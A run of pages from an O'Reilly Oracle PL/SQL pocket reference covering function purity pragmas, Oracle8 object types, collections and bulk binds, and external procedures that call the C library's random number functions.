  • Functions defined in packages must have a RESTRICT_REFERENCES pragma in the specification (Oracle8.0 and earlier).

  • The function must be stored in the database, not a local program, Developer/2000 PL/SQL library, or Form.

1.15.3 Calling Packaged Functions in SQL

Prior to Oracle8i Release 8.1, it was necessary to assert the purity level of a packaged procedure or function when using it directly or indirectly in a SQL statement. Beginning with Oracle8i Release 8.1, the PL/SQL runtime engine determines a program's purity level automatically if no assertion exists.

The RESTRICT_REFERENCES pragma asserts a purity level. The syntax for the RESTRICT_REFERENCES pragma is:

PRAGMA RESTRICT_REFERENCES (program_name |
   DEFAULT, purity_level);

The keyword DEFAULT applies to all methods of an object type or all programs in a package.

There can be from one to five purity levels, in any order, in a comma-delimited list. The purity level describes to what extent the program or method is free of side effects. Side effects are listed in the following table with the purity levels they address.

Purity Level | Description | Restriction
WNDS | Write No Database State | Executes no INSERT, UPDATE, or DELETE statements.
RNDS | Read No Database State | Executes no SELECT statements.
WNPS | Write No Package State | Does not modify any package variables.
RNPS | Read No Package State | Does not read any package variables.
TRUST (Oracle8i) |  | Does not enforce the restrictions declared but allows the compiler to trust they are true.

The purity level requirements for packaged functions are different depending on where in the SQL statement the stored functions are used:

  • To be called from SQL, all stored functions must assert WNDS.

  • All functions not used in a SELECT, VALUES, or SET clause must assert WNPS.

  • To be executed remotely, the function must assert WNPS and RNPS.

  • To be executed in parallel, the function must assert all four purity levels or, in Oracle8i, use PARALLEL_ENABLED in the declaration.

  • These functions must not call any other program that does not also assert the minimum purity level.

  • If a package has an initialization section, it too must assert purity in Oracle7.

  • If a function is overloaded, each overloading must assert its own purity level, and the levels don't have to be the same. To do this, place the pragma immediately after each overloaded declaration.

Many of the built-in packages, including DBMS_OUTPUT, DBMS_PIPE, and DBMS_SQL, do not assert WNPS or RNPS, so their use in SQL stored functions is necessarily limited.

1.15.3.1 Column/function name precedence

If your function has the same name as a table column in your SELECT statement and the function has no parameter, then the column takes precedence over the function. To force the RDBMS to resolve the name to your function, prepend the schema name to it:

CREATE TABLE emp(new_sal NUMBER ...);
CREATE FUNCTION new_sal RETURN NUMBER IS ...;

SELECT new_sal FROM emp;      -- Resolves to column.
SELECT scott.new_sal FROM emp;-- Resolves to
                                 function.

Previous: 1.14 Packages | Oracle PL/SQL Language Pocket Reference | Next: 1.16 Oracle8 Objects
1.14 Packages |  | 1.16 Oracle8 Objects
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 1] 1.16 Oracle8 Objects

Oracle PL/SQL Language Pocket Reference

Oracle PL/SQL Language Pocket ReferenceSearch this book

1.16 Oracle8 Objects

In Oracle8, an object type combines attributes (data structures) and methods (functions and procedures) into a single programming construct. The object type construct allows programmers to defined their own reusable datatypes for use in PL/SQL programs and table and column definitions.

An instance of an object type is an object in the same way that variables are instances of scalar types. Objects are either persistent (stored in the database) or transient (stored only in PL/SQL variables). Objects can be stored in a database as a row in a table (a row object) or as a column in a table. A table of row objects can be created with syntax such as this:

CREATE TABLE table_name OF object_type;

When stored in the database as a row object, the object (row) has an OID (Object IDentifier) that is unique throughout the database.

1.16.1 Object Types

An object type has two parts: the specification and the body. The specification is required and contains the attributes and method specifications. The syntax for creating the object type specification is:

CREATE [OR REPLACE] TYPE obj_type_name
[AUTHID CURRENT_USER | DEFINER] -- Oracle8i
AS OBJECT (
   attribute_name datatype,...,
   [MEMBER | STATIC PROCEDURE | FUNCTION
      program_spec],
   [ORDER | MAP MEMBER FUNCTION
      comparison_function_spec],
   [PRAGMA RESTRICT_REFERENCES(program_name,
      purities)]
);

All attribute specifications must appear before all method specifications. Object attributes, like variables, are declared with a name and a datatype. The name can be any legal identifier. Attribute datatypes can be any SQL datatype except LONG, LONG RAW, NCHAR, NVARCHAR2, NCLOB, ROWID, and UROWID. Attributes cannot have datatypes unique to PL/SQL such as BOOLEAN.

Member function and procedure headers are listed in the object type specification in a comma-delimited list. Unlike in a package specification, commas (not semicolons) terminate the object type program specifications. To support object comparisons and sorting, the type can optionally include one comparison method -- either ORDER or MAP.

Member programs can assert purity with the RESTRICT_REFERENCES pragma. (See the earlier Section 1.15.1, "Syntax for Calling Stored Functions in SQL " section for more information on this pragma.) Member methods can be overloaded in object types following the same rules as function and procedure overloading in packages.

The syntax for creating the object type body is:

CREATE [OR REPLACE] TYPE BODY obj_type_name
AS OBJECT (
      [MEMBER | STATIC PROCEDURE | FUNCTION
         program_body;]
   [ORDER | MAP MEMBER FUNCTION
      comparison_function_body;]
);

The keyword STATIC is new starting with Oracle8i. Static methods do not use the current SELF object.

1.16.2 Methods

Every object has a default method, a constructor, which has the same name as the object type. The constructor constructs an instance of the object type from the elements passed to it, and returns the new object. This built-in method:

  • Has the same name as the object type

  • Is a function that returns an object of that type

  • Accepts attributes in named or positional notation

  • Must be called with a value (or NULL) for every attribute -- there is no DEFAULT clause for object attributes

  • Cannot be modified

If you wish to create your own pseudo-constructor, create a STATIC function that returns an object of the corresponding type.

All non-static methods have the built-in parameter SELF, which references the instance of the object. The default mode for the SELF parameter is IN for functions and IN OUT for procedures. SELF can be explicitly declared with a non-default mode.

ORDER and MAP methods establish ordinal positions of objects for non-equality comparisons such as "<" or "between" and for sorting (ORDER BY, GROUP BY, DISTINCT). An ORDER function accepts two parameters: SELF, and another object of the same type. It must return an INTEGER with values of -1, 0, 1, or NULL.

See the following table for a description of these return values.

Return Value | Object Comparison
-1 | SELF < second object
0 | SELF = second object
1 | SELF > second object
NULL | Undefined comparison, i.e., attributes needed for the comparison are NULL

For example, the Senate ranks majority party members higher than non-majority party members and within the majority (or non-majority), by years of service. Here is an example ORDER function incorporating these rules:

CREATE TYPE senator_t AS OBJECT (
   majority boolean_t,
   yrs_service NUMBER,
   ORDER MEMBER FUNCTION ranking (other IN
      senator_t)
      RETURN INTEGER  );

CREATE OR REPLACE TYPE BODY senator_t AS
   ORDER MEMBER FUNCTION ranking (other IN
      senator_t)
      RETURN INTEGER
   IS
   BEGIN
      IF SELF.majority.istrue()
         AND other.majority.istrue()
      THEN
         RETURN SIGN(SELF.yrs_service -
            other.yrs_service);
      ELSIF SELF.majority.istrue()
         AND other.majority.isfalse()
      THEN
         RETURN 1;
      ELSIF SELF.majority.isfalse()
         AND other.majority.istrue()
      THEN
         RETURN -1;
      ELSIF SELF.majority.isfalse()
         AND other.majority.isfalse()
      THEN
         RETURN SIGN(SELF.yrs_service -
            other.yrs_service);
      END IF;
   END ranking;
END;

A MAP function accepts no parameters and returns a scalar datatype such as DATE, NUMBER, or VARCHAR2 for which Oracle already knows a collating sequence. The MAP function translates, or maps, each object into a scalar datatype space that Oracle knows how to compare. When they exist, MAP methods are often more efficient than ORDER methods and are required for hash joins on the object in SQL.

If no ORDER or MAP function exists for an object type, SQL, but not PL/SQL, supports only limited equality comparisons of objects. Objects are equal if they are of the same object type and if each attribute is equal.

1.16.3 Manipulating Objects in PL/SQL and SQL

There are three ways to initialize an object:

  1. Using the constructor method

  2. Directly assignmening an existing object to a new object

  3. Using SELECT INTO or FETCH INTO

Here is an example using each initialization technique:

DECLARE
   project_boiler_plate  project_t;
   build_web_site        project_t;

   -- Initialize via constructor.
   new_web_mgr  proj_mgr_t :=
         proj_mgr_t('Ruth', 'Home Office');

   CURSOR template_cur IS
      SELECT VALUE(proj)
        FROM projects
       WHERE project_type = 'TEMPLATE'
         AND  sub_type = 'WEB SITE';
   BEGIN
      OPEN template_cur;
      -- Initialize via FETCH INTO.
      FETCH template_cur
         INTO project_boiler_plate;

      -- Initialize via assignment.
      build_web_site := project_boiler_plate;
      ...

After an object is initialized, it can be stored in the database, and you can then locate and use that object with the REF, VALUE, and DEREF operators.

1.16.3.1 The REF operator

REF, short for REFerence, designates a datatype modifier or an operator to retrieve a logical pointer to an object. This pointer encapsulates the OID and can simplify navigation among related database objects.

The syntax for a REF operator is:

REF(table_alias_name)

For example:

SELECT REF(p) FROM pets p WHERE ...

A PL/SQL variable can hold a reference to a particular object type:

DECLARE
   petref REF Pet_t;
BEGIN
   SELECT REF(p) INTO petref FROM pets p WHERE ...

Through deletions, REFs can reference a nonexistent object -- called a dangling REF -- resulting in a state that can be detected with the IS DANGLING predicate. For example:

UPDATE pets
   SET owner_ref = NULL
 WHERE owner_ref IS DANGLING.

1.16.3.2 The VALUE operator

Use the VALUE operator to retrieve a row object as a single object rather than multiple columns. The syntax for the VALUE operator is:

VALUE(table_alias_name)

For example:

SELECT VALUE(p) FROM pets p WHERE ...

1.16.3.3 The DEREF operator

Use the DEREF operator to retrieve the value of an object for which you have a REF. The syntax for the DEREF operator is:

DEREF(table_alias_name)

For example:

DECLARE
   person_ref   REF person_t;
   author       person_t;
BEGIN
   -- Get the ref.
   SELECT REF(p) INTO person_ref
      FROM persons WHERE p.last_name ='Pribyl';

   -- Dereference the pointer back to the value.
   SELECT DEREF(person_ref) INTO author FROM dual;
   ...

Additionally, Oracle uses an OID internally as a unique key to each object. Like a ROWID, you don't typically use an OID directly.

The following table shows ways of referencing persistent objects.

Scheme | Description | Applications
OID | An opaque, globally unique handle, produced when the object is stored in the database as a table (row) object. | This is the persistent object's handle; it's what REFs point to. Your program never uses it directly.
VALUE | An operator. In SQL, it acts on an object in an object table and returns the object's contents. Different from the VALUES keyword found in some INSERT statements. | Allows quasi-normalizing of object-relational databases and joining of object tables using dot navigation. In PL/SQL, REFs serve as input/output variables.
REF | A pointer to an object. May be used within a SQL statement as an operator or in a declaration as a type modifier. | Used when fetching a table (row) object into a variable, or when you need to refer to an object table as an object instead of a list of columns.
DEREF | Reverse pointer lookup for REFs. | Used for retrieving the contents of an object when all you know is its REF.

1.16.4 Changing Object Types

You can add methods, but not attributes, to an object type stored in the database using the ALTER TYPE statement:

ALTER TYPE type_name REPLACE AS OBJECT (
   new_object_type_specification
);

The only supported change you can make in the new object type specification is to include new methods.

It is also possible to rebuild an object table with different physical storage characteristics by using the built-in procedure DBMS_DDL.ALTER_TABLE_REFERENCEABLE.

The syntax for dropping an object type is:

DROP TYPE type_name [FORCE];

You can drop only an object type that has not been implemented in a table (or you can drop the tables first). The FORCE option will drop object types even if they have dependencies, but FORCE will irreversibly invalidate any dependent objects such as tables. FORCE does not do a DROP CASCADE.

Previous: 1.15 Calling PL/SQL Functions in SQL | Oracle PL/SQL Language Pocket Reference | Next: 1.17 Collections
1.15 Calling PL/SQL Functions in SQL |  | 1.17 Collections
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 1] 1.17 Collections

Oracle PL/SQL Language Pocket Reference

Oracle PL/SQL Language Pocket ReferenceSearch this book

1.17 Collections

There are three types of collections: index-by tables (formerly known as PL/SQL tables), nested tables, and VARRAYs.

Index-by table

Single-dimension, unbounded collections of homogeneous elements available only in PL/SQL, not in the database. Index-by tables are initially sparse; they have nonconsecutive subscripts.

Nested table

Single-dimension, unbounded collections of homogeneous elements available in both PL/SQL and the database as columns or tables. Nested tables are initially dense (they have consecutive subscripts), but can become sparse through deletions.

VARRAYs

Variable-size arrays are single-dimension, bounded collections of homogeneous elements available in both PL/SQL and the database. VARRAYs are never sparse. Unlike nested tables, their element order is preserved when you store and retrieve them from the database.

The following table compares these similar collection types.

 | Collection Type
Characteristic | Index-by Table | Nested Table | VARRAY
Dimensionality | Single | Single | Single
Usable in SQL? | No | Yes | Yes
Usable as a column datatype in a table? | No | Yes; data stored "out of line" (in a separate table) | Yes; data typically stored "in line" (in the same table)
Uninitialized state | Empty (cannot be NULL); elements are undefined | Atomically null; illegal to reference elements | Atomically null; illegal to reference elements
Initialization | Automatic, when declared | Via constructor, fetch, assignment | Via constructor, fetch, assignment
In PL/SQL, elements referenced by | BINARY_INTEGER (-2,147,483,647 .. 2,147,483,647) | Positive integer between 1 and 2,147483,647 | Positive integer between 1 and 2,147483,647
Sparse? | Yes | Initially no; after deletions, yes | No
Bounded? | No | Can be extended | Yes
Can assign a value to any element at any time? | Yes | No; may need to EXTEND first | No; may need to EXTEND first, and cannot EXTEND past the upper bound
Means of extending | Assign value to element with a new subscript | Use built-in EXTEND procedure or TRIM to condense, with no predefined maximum | EXTEND or TRIM, but only up to declared maximum size.
Can be compared for equality? | No | No | No
Elements retain ordinal position and subscript when stored and retrieved from the database | N/A -- can't be stored in database | No | Yes

1.17.1 Syntax for Declaring Collection Datatypes

Collections are implemented as TYPEs. Like any programmer-defined type, you must first define the type; then you can declare instances of that type. The TYPE definition can be stored in the database or declared in the PL/SQL program. Each instance of the TYPE is a collection.

The syntax for declaring an index-by table is:

TYPE type_name IS TABLE OF element_type [NOT NULL] INDEX BY BINARY_INTEGER;

The syntax for a nested table is:

[CREATE [OR REPLACE]] TYPE type_name IS TABLE OF
   element_type [NOT NULL];

The syntax for a VARRAY is:

[CREATE [OR REPLACE]] TYPE type_name IS VARRAY |
   VARYING ARRAY (max_elements) OF element_type
   [NOT NULL];

The CREATE keyword defines the statement to be DDL and indicates that this type will exist in the database. The optional OR REPLACE keywords are used to rebuild an existing type, preserving the privileges. type_name is any valid identifier that will be used later to declare the collection. max_elements is the maximum size of the VARRAY. element_type is the type of the collection's elements. All elements are of a single type, which can be most scalar datatypes, an object type, or a REF object type. If the elements are objects, the object type itself cannot have an attribute that is a collection. Explicitly disallowed collection datatypes are BOOLEAN, NCHAR, NCLOB, NVARCHAR2, REF CURSOR, TABLE, and VARRAY.

NOT NULL indicates that a collection of this type cannot have any null elements. However, the collection can be atomically null (uninitialized).

1.17.2 Initializing Collections

Initializing an index-by table is trivial -- simply declaring it also initializes it. Initializing a nested table or VARRAY can be done explicitly, with a constructor, or implicitly with a fetch from the database or a direct assignment of another collection variable.

The constructor is a built-in function with the same name as the collection. It constructs the collection from the elements passed to it. We can create a nested table of colors and initialize it to three elements with a constructor:

DECLARE
   TYPE colors_tab_t IS TABLE OF VARCHAR2(30);

   colors_tab_t('RED','GREEN','BLUE');
BEGIN

We can create our nested table of colors and initialize it with a fetch from the database:

-- Create the nested table to exist in the database.
CREATE TYPE colors_tab_t IS TABLE OF VARCHAR2(32);

-- Create table with nested table type as column.
CREATE TABLE color_models
(model_type   VARCHAR2(12)
,colors       color_tab_t)
NESTED TABLE colors STORE AS
   color_model_colors_tab;

-- Add some data to the table.
INSERT INTO color_models
   VALUES('RGB',color_tab_t('RED','GREEN','BLUE'));
INSERT INTO color_models
   VALUES('CYMK',color_tab_t('CYAN','YELLOW',
      'MAGENTA' 'BLACK'));

-- Initialize a collection of colors from the table.
DECLARE
   basic_colors colors_tab_t;
BEGIN
   SELECT colors INTO basic_colors
     FROM color_models
    WHERE model_type = 'RGB';
...
END;

The third initialization technique is by assignment from an existing collection:

DECLARE
   basic_colors Color_tab_t :=
      Color_tab_t ('RED','GREEN','BLUE');

   my_colors Color_tab_t;
BEGIN
   my_colors := basic_colors;
   my_colors(2) := 'MUSTARD';

1.17.3 Adding and Removing Elements

Elements in an index-by table can be added simply by referencing new subscripts. To add elements to nested tables or VARRAYs, you must first enlarge the collection with the EXTEND function, and then you can assign a value to a new element using one of the methods described in the previous section.

Use the DELETE function to remove an element in a nested table regardless of its position. The TRIM function can also be used to remove elements, but only from the end of a collection. To avoid unexpected results, do not use both DELETE and TRIM on the same collection.

1.17.4 Collection Pseudo-Functions

There are several psuedo-functions defined for collections. They include THE, CAST, MULTISET, and TABLE.

THE

Maps a single column's value in a single row into a virtual database table. Syntactically, this is similar to an inline view, where a subquery is used in the FROM clause.

SELECT VALUE(c)
   FROM THE(SELECT colors
              FROM color_models
             WHERE model_type = 'RGB') c;

The pseudo-function THE will work in Oracle8i but its use is discouraged. Use the 8i TABLE( ) function instead.

CAST

Maps a collection of one type to a collection of another type.

SELECT column_value
FROM THE(SELECT CAST(colors AS color_tab_t)
           FROM color_models_a
          WHERE model_type ='RGB');
MULTISET

Maps a database table to a collection. With MULTISET and CAST, you can retrieve rows from a database table as a collection-typed column.

SELECT b.genus ,b.species,
      CAST(MULTISET(SELECT bh.country
                      FROM bird_habitats bh
                     WHERE bh.genus = b.genus
                       AND bh.species = b.species)
          AS country_tab_t)
FROM birds b;
TABLE

Maps a collection to a database table; the inverse of MULTISET.

SELECT *
  FROM color_models c
 WHERE 'RED' IN (SELECT * FROM TABLE(c.colors));

In Oracle8i PL/SQL, you can use TABLE( ) to unnest a transient collection:

DECLARE
   birthdays Birthdate_t :=
      Birthdate_t('24-SEP-1984', '19-JUN-1993');
BEGIN
   FOR the_rec IN
      (SELECT COLUMN_VALUE
         FROM TABLE(CAST(birthdays AS Birthdate_t)))

1.17.5 Collection Methods

There are a number of built-in functions (methods) defined for all collections. These methods are called with dot notation:

collection_name.method_name[(parameters)]

The methods are described in the following table.

Collection Method | Description
COUNT function | Returns the current number of elements in the collection.
DELETE [( i [,j ] )] procedure | Removes element i or elements i through j from a nested table or index-by table. When called with no parameters, removes all elements in the collection. Reduces the COUNT if the element is not already DELETEd. Does not apply to VARRAYs.
EXISTS ( i ) function | Returns TRUE or FALSE to indicate whether element i exists. If the collection is an uninitialized nested table or VARRAY, returns FALSE.
EXTEND [( n [,i ] )] procedure | Appends n elements to a collection, initializing them to the value of element i. n is optional and defaults to 1.
FIRST function | Returns the smallest index in use. Returns NULL when applied to empty initialized collections.
LAST function | Returns the largest index in use. Returns NULL when applied to empty initialized collections.
LIMIT function | Returns the maximum number of allowed elements in a VARRAY. Returns NULL for index-by tables and nested tables.
PRIOR ( i ) function | Return the index immediately before element i. Returns NULL if i is less than or equal to FIRST.
NEXT ( i ) function | Return the index immediately after element i. Returns NULL if i is greater than or equal to COUNT.
TRIM [( n )] procedure | Removes n elements at the end of the collection with the largest index. n is optional and defaults to 1. If n is NULL, TRIM does nothing. Index-by tables cannot be TRIMmed.

The EXISTS function returns a BOOLEAN and all other functions return BINARY_INTEGER. All parameters are of the BINARY_INTEGER type.

Only EXISTS can be used on uninitialized nested tables or VARRAYs. Other methods applied to these atomically null collections will raise the COLLECTION_IS_NULL exception.

DELETE and TRIM both remove elements from a nested table, but TRIM also removes the placeholder, while DELETE does not. This behavior may be confusing, since TRIM can remove previously DELETED elements.

Here is an example of some collection methods in use:

DECLARE
   TYPE colors_tab_t IS TABLE OF VARCHAR2(30);
   my_list colors_tab_t :=
      colors_tab_t('RED','GREEN','BLUE');
   element BINARY_INTEGER;
BEGIN
   DBMS_OUTPUT.PUT_LINE('my_list has '
      ||my_list.COUNT||' elements');
   my_list.DELETE(2); -- delete element two
   DBMS_OUTPUT.PUT_LINE('my_list has '
      ||my_list.COUNT||' elements');

   FOR element IN my_list.FIRST..my_list.LAST
   LOOP
      IF my_list.EXISTS(element)
      THEN
         DBMS_OUTPUT.PUT_LINE(my_list(element)
            || ' Prior= '||my_list.PRIOR(element)
            || ' Next= ' ||my_list.NEXT(element));
      ELSE
         DBMS_OUTPUT.PUT_LINE('Element '|| element
            ||' deleted. Prior= '||my_
               list.PRIOR(element)
            || ' Next= '||my_list.NEXT(element));
      END IF;
   END LOOP;
END;

This example gives the output:

my_list has 3 elements
my_list has 2 elements
RED Prior=  Next= 3
Element 2 deleted. Prior= 1 Next= 3
BLUE Prior= 1 Next=

1.17.6 Privileges

As with other TYPEs in the database, you need the EXECUTE privilege on that TYPE in order to use a collection type created by another schema (user account) in the database.

1.17.7 Bulk Binds (Oracle8i)

Starting with Oracle8i, you can use collections to improve the performance of SQL operations executed iteratively by using bulk binds. Bulk binds reduce the number of round-trips that must be made between a client application and the database. Two PL/SQL language constructs implement bulk binds: FORALL and BULK COLLECT INTO.

The syntax for the FORALL statement is:

FORALL bulk_index IN lower_bound..upper_bound
   sql_statement;

bulk_index can be used only in the sql_statement and only as a collection index (subscript). When PL/SQL processes this statement, the whole collection, instead of each individual collection element, is sent to the database server for processing. To delete all the accounts in the collection inactives from the table ledger, do this:

FORALL i IN inactives.FIRST..inactives.LAST
   DELETE FROM ledger WHERE acct_no = inactives(i);

The syntax for the BULK COLLECT INTO clause is:

BULK COLLECT INTO collection_name_list;

where collection_name_list is a comma-delimited list of collections, one for each column in the SELECT. As of Oracle8i, collections of records cannot be a target of a BULK COLLECT INTO clause. However, 8i does support retrieving a set of typed objects and "bulk collecting" them into a collection of objects.

The BULK COLLECT INTO clause can be used in SELECT INTO, FETCH INTO, or RETURNING INTO statements. For example:

DECLARE
   TYPE vendor_name_tab IS TABLE OF
      vendors.name%TYPE;
   TYPE vendor_term_tab IS TABLE OF
      vendors.terms%TYPE;
   v_names vendor_name_tab;
   v_terms vendor_term_tab;
BEGIN
   SELECT name, terms
     BULK COLLECT INTO v_names, v_terms
     FROM vendors
    WHERE terms < 30;
   ...
END;

The next function deletes employees in an input list of departments, and the (Oracle8) SQL RETURNING clause returns a list of deleted employees:

FUNCTION whack_emps_by_dept (deptlist dlist_t)
RETURN enolist_t
IS
   enolist enolist_t;
BEGIN
   FORALL adept IN deptlist.FIRST..deptlist.LAST
      DELETE FROM emp WHERE deptno IN
         deptlist(adept)
      RETURNING empno BULK COLLECT INTO enolist;
   RETURN Enolist;
END;

You can use the SQL%BULK_ROWCOUNT cursor attribute for bulk bind operations. It is like an index-by table containing the number of rows affected by the executions of the bulk bound statements. The nth element of SQL%BULK_ROWCOUNT contains the number of rows affected by nth execution of the SQL statement. For example:

FORALL i IN inactives.FIRST..inactives.LAST
   DELETE FROM ledger WHERE acct_no = inactives(i);
FOR counter IN inactives.FIRST..inactives.LAST
LOOP
   IF SQL%BULK_ROWCOUNT(counter) = 0
   THEN
      DBMS_OUTPUT.PUT_LINE('No rows deleted for '||
         counter);
   END IF;
END LOOP;

You cannot pass SQL%BULK_ROWCOUNT as a parameter to another program, or use an aggregate assignment to another collection. %ROWCOUNT contains a summation of all %BULK_ROWCOUNT elements. %FOUND and %NOTFOUND reflect only the last execution of the SQL statement.

Previous: 1.16 Oracle8 Objects | Oracle PL/SQL Language Pocket Reference | Next: 1.18 External Procedures
1.16 Oracle8 Objects |  | 1.18 External Procedures
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 1] 1.18 External Procedures

Oracle PL/SQL Language Pocket Reference

Oracle PL/SQL Language Pocket ReferenceSearch this book

1.18 External Procedures

External procedures provide a mechanism for calling out to a non-database program, such as a DLL under NT or a shared library under Unix. Every session calling an external procedure will have its own extproc process started by the listener. This extproc process is started with the first call to the external procedure and terminates when the session exits. The shared library needs to have a corresponding library created for it in the database.

1.18.1 Creating an External Procedure

The following are the steps you need to follow in order to create an external procedure.

1.18.1.1 Set up the listener

External procedures require a listener. If you are running a Net8 listener, it can be used as the extproc listener as well. See the Oracle8 Administrators' Guide or the Net8 Administrators' Guide for the details on configuring your listener.

1.18.1.2 Identify or create the shared library or DLL

This step has nothing to do with PL/SQL or the database. You must write your own C routines and link them into a shared library/DLL or use an existing library's functions or procedures. In the simple example below, we will use the existing random number generating calls available from the operating system.

1.18.1.3 Create the library in the database

Create a library in the database for the shared library or DLL using the CREATE LIBRARY statement:

CREATE [OR REPLACE] LIBRARY library_name IS | AS
    'absolute_path_and_file';

To remove libraries from the database, you use the DROP LIBRARY statement:

DROP LIBRARY library_name;

To call out to the C runtime library's rand function, you don't have to code any C routines at all, since the call is already linked into a shared library, and because its arguments are directly type-mappable to PL/SQL. If the rand function is in the standard /lib/libc.so shared library, as on Solaris, you would issue the following CREATE LIBRARY statement:

CREATE OR REPLACE LIBRARY libc_l AS
   '/lib/libc.so';  -- References C runtime library.

This is the typical corresponding statement for NT:

CREATE OR REPLACE LIBRARY libc_l AS
   'C:\WINNT\SYSTEM32\CRTDLL.DLL';

1.18.1.4 Create the PL/SQL wrapper for the external procedure

The syntax for the wrapper procedure is:

CREATE [OR REPLACE] PROCEDURE proc_name
   [parm_list]
AS|IS EXTERNAL
   LIBRARY library_name
   [NAME external_name]
   [LANGUAGE language_name]
   [CALLING STANDARD  C | PASCAL]
   [WITH CONTEXT]
   [PARAMETERS (external_parameter_list)];

The following are the syntactic elements defined:

proc_name

The name of the wrapper procedure.

library_name

The name of the library created with the CREATE LIBRARY statement.

external_name

The name of the external routine as it appears in the library. It defaults to the wrapper package name. PL/SQL package names are usually saved in uppercase, so the external_name may need to be enclosed in double quotes to preserve case.

language_name

The language that the external routine was written in. It defaults to C.

CALLING STANDARD

The calling standard, which defaults to C. The Pascal calling standard reverses the order of the parameters, and the called routine is responsible for popping the parameters off the stack.

WITH CONTEXT

Used to pass a context pointer to the external routine, so it can make OCI calls back to the database.

PARAMETERS

Identify the external_parameter_list, which is a comma-delimited list containing the position and datatype of parameters that get passed to the external routine. For more details on the external_parameter_list, see the next section, Section 1.12.3, "Parameters".

The wrapper PL/SQL function or procedure is usually in a package. Using the preceding random number generator example, we could create the wrapper package as follows:

CREATE OR REPLACE PACKAGE random_utl
AS
   FUNCTION rand RETURN PLS_INTEGER;
   PRAGMA RESTRICT_REFERENCES(rand,WNDS,RNDS,WNPS,RNPS);

   PROCEDURE srand (seed IN PLS_INTEGER);
   PRAGMA RESTRICT_REFERENCES(srand,WNDS,RNDS,WNPS,RNPS);
END random_utl;

CREATE PACKAGE BODY random_utl
AS
   FUNCTION rand RETURN PLS_INTEGER
   IS
      EXTERNAL       -- Keyword to indicate external
                        routine.
      LIBRARY libc_l -- The library created above.
      NAME "rand"    -- Function name in the
                        library.
      LANGUAGE C;    -- Language of routine.

   PROCEDURE srand (seed IN PLS_INTEGER)
   IS
      EXTERNAL LIBRARY libc_l
      NAME "srand"   -- Name is lowercase in this
                        library.
      LANGUAGE C
      PARAMETERS (seed ub4); --Map to unsigned
                               4byte.
INT
END random_utl;

To use this external random number function, we simply call the package procedure srand to seed the generator, then the package function rand to get random numbers:

DECLARE
   random_nbr  PLS_INTEGER;
   seed        PLS_INTEGER;
BEGIN
   SELECT TO_CHAR(SYSDATE,'SSSSS') INTO seed
      FROM dual;

   random_utl.srand(seed);  -- Seed the generator.

   random_nbr := random_utl.rand; -- Get the number.
   DBMS_OUTPUT.PUT_LINE('number='||random_nbr);

   random_nbr := random_utl.rand; -- Get the number.
   DBMS_OUTPUT.PUT_LINE('number='||random_nbr);
END;

You can generate random numbers without the complexity or overhead of an external call by using the built-in package DBMS_RANDOM. To learn more about DBMS_RANDOM and other built-ins, see O'Reilly's books Oracle Built-in Packages and Oracle PL/SQL Built-ins Pocket Reference.

1.18.2 Parameters

When it comes to passing PL/SQL variables to C variables, we encounter many inconsistencies. For example, PL/SQL supports nullity, while C does not; PL/SQL can have variables in different character sets, while C cannot; and the datatypes in PL/SQL do not directly map to C datatypes.

The PARAMETERS clause specifies the external parameter list, a comma-delimited list containing parameters. The syntax for each parameter in the list is:

CONTEXT | RETURN | parameter_name [property]
   [BY REFERENCE] [external_datatype]

The keyword CONTEXT indicates the position in the parameter list at which the context pointer will be passed. It is required if the WITH CONTEXT clause is being used to pass a context pointer to the called program. By convention, CONTEXT appears as the first parameter in the external parameter list. If CONTEXT is used, the property, BY REFERENCE, and external_datatype optional sections are invalid.

The keyword RETURN indicates that the descriptions are for the return value from the external routine. By default, RETURN is passed by value. You can use the keywords BY REFERENCE to pass by reference (use pointers).

parameter_name is a PL/SQL formal parameter name. By default, IN formal parameters are passed by value. You can use the key words BY REFERENCE to pass by reference (as a pointer). IN OUT and OUT formal parameters are always passed by reference.

property breaks out further to the general Oracle8 syntax:

INDICATOR | LENGTH | MAXLEN | CHARSETID| CHARSETFORM

The general Oracle8i syntax is:

INDICATOR [STRUCT | TDO ] | LENGTH | MAXLEN |
   CHARSETID | CHARSETFORM | SELF

INDICATOR indicates whether the corresponding parameter is NULL. In the C program, if the indicator equals the constant OCI_IND_NULL, the parameter is NULL. If the indicator equals the constant OCI_IND_NOTNULL, the indicator is not NULL. For IN parameters, INDICATOR is passed by value (by default). For IN OUT, OUT, and RETURN parameters, INDICATOR is passed by reference.

In Oracle8i, you can pass a user-defined type to an external procedure. To do so, you will typically pass three parameters: the actual object value; a TDO (Type Descriptor Object) parameter as defined in C by the Oracle Type Translator; and an INDICATOR STRUCT parameter, to designate whether the object is NULL.

LENGTH and MAXLEN can be used to pass the current and maximum length of strings or RAWs. For IN parameters, LENGTH is passed by value (by default). For IN OUT, OUT, and RETURN parameters, LENGTH is passed by reference. MAXLEN is not valid for IN parameters. For IN OUT, OUT, and RETURN parameters, MAXLEN is passed by reference and is read-only.

CHARSETID and CHARSETFORM are used to support NLS character sets. They are the same as the OCI attributes OCI_ATTR_CHARSET_ID and OCI_ATTR_CHARSET_FORM. For IN parameters, CHARSETID and CHARSETFORM are passed by value (by default) and are read-only. For IN OUT, OUT, and RETURN parameters, CHARSETID and CHARSETFORM are passed by reference and are read-only.

SELF is used if an object member function is implemented as a callout instead of a PL/SQL routine.

Previous: 1.17 Collections | Oracle PL/SQL Language Pocket Reference | Next: 1.19 Java Language Integration
1.17 Collections |  | 1.19 Java Language Integration
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

